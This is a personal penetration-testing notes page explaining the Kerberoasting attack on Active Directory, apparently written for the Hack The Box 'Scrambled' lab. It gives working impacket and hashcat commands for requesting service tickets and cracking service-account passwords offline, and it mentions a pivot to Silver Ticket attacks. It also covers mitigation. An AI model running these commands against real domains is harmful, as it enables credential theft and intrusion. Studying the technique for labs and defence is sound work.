Haiyahhh Hack Vault

Active Directory - Kerberoasting

2 min read

🧠 Active Directory - Kerberoasting

What is it?

  • Concept: Any authenticated domain user (no elevated rights needed) can request a Kerberos TGS (Ticket Granting Service ticket) for any account that has a Service Principal Name (SPN) registered — that’s simply how Kerberos service authentication works. Part of that ticket is encrypted with the target service account’s own NTLM hash, so if that account’s password is weak, it can be cracked entirely offline.
  • Impact: Recovery of a service account’s plaintext password, with no privileges beyond “any valid domain user” required to pull the crackable material in the first place.

How it works

Service accounts (the account a service like MSSQL or a custom app runs as) get an SPN registered against them so Kerberos clients can address them. When a client requests access to that service, the KDC hands back a TGS encrypted with the service account’s NTLM hash. Because any domain user can request a TGS for any SPN, an attacker can collect these tickets for every SPN-registered account in the domain and crack them offline against a wordlist — completely independent of any account lockout policy, since nothing is being submitted to the DC for verification.

Exploitation

Prerequisites

  • Valid credentials (or a TGT) for any domain user

Attack Vectors

# 1. Get a TGT for a known user
impacket-getTGT <domain>/<user>:<pass>
export KRB5CCNAME=<user>.ccache
 
# 2. Enumerate SPN-registered accounts (add -request to also pull the crackable hash)
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-host <dc_hostname> -k
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-host <dc_hostname> -k -request
 
# 3. Crack the resulting $krb5tgs$ hash
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Notes

  • -dc-host needs the DC’s name, not its IP — once NTLM auth is disabled domain-wide, -dc-ip gets rejected outright.
  • If the environment has NTLM fully disabled, impacket-GetUserSPNs needs -k to force Kerberos, and the attacking machine’s clock has to be within ~5 minutes of the DC’s (KRB_AP_ERR_SKEW otherwise).
  • A cracked service account password is often useful well beyond just that one service — e.g. if the account also runs a database engine, its password can be turned into a Active Directory - Silver Ticket Attack against that service without ever touching the DC again.

Mitigation

  • Fix: Long, random passwords on service accounts (25+ characters), or use Group Managed Service Accounts (gMSA), which rotate an unguessable password automatically.
FileCreated
HTB - ScrambledMonday, July 20th 2026, 11:37:01 pm

References:

Graph View

Backlinks